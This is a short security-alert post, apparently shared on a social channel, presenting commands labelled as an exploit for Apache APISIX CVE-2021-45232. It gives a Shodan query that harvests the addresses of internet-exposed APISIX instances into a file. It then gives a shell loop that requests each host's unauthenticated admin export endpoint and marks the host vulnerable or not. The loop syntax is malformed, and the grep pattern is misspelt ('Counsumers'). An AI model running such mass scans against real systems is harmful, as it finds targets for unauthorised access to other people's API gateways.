Apache APISIX Exploit CVE-2021-45232 search from shodan shod | Security alert

Apache APISIX Exploit CVE-2021-45232

search from shodan

shodan search title="Apache APISIX" --fields ip_str,port_str --separator " " | awk '{print $1":"$2}' | tee -a ip_list.txt

check vulnerablity

cat ip_list.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/apisix/admin/migrate/export" | grep -qs 'Counsumers' && echo "$host Vulnerable\n" || echo "$host Not Vulnerable\n"; done

@Alert_Security